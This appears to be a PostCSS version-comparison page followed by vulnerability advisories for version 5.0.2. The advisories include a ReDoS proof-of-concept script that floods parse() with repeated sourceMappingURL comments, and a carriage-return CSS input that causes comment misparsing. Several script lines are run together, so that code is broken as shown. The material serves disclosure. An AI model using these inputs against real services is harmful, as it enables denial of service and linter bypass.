PostCSS version 5.0.2 represents a subtle yet significant update over its predecessor, version 5.0.1, in the landscape of CSS transformation tools. Both versions share the core functionality of enabling developers to manipulate styles using JavaScript plugins, offering a modular and extensible approach to CSS processing. The fundamental dependencies remain consistent, including js-base64, source-map, and supports-color, ensuring a stable base for core operations like Base64 encoding, source map generation, and cross-platform color support detection.
The key difference lies in the addition of the isparta and gulp-istanbul devDependencies in version 5.0.2. This inclusion suggests an enhancement in the testing and code coverage infrastructure of the project. isparta is a code coverage tool specifically designed for ES6, while gulp-istanbul integrates Istanbul, another coverage tool, into the Gulp build process. This implies that version 5.0.2 underwent more rigorous testing with an emphasis on ensuring greater code coverage and reliability.
For developers considering adopting PostCSS in their workflow, both versions offer a solid foundation for modern CSS development. However, version 5.0.2 presents a potentially more stable option due to its enhanced testing capabilities, leading to increased confidence in its performance and reducing the risk of unexpected issues. The addition of code coverage tools highlights a commitment to quality and maintainability within the PostCSS project. If code stability is a top priority, choosing version 5.0.2 might be the preferred approach, offering a more robust and tested environment for CSS transformations.
All the vulnerabilities related to the version 5.0.2 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.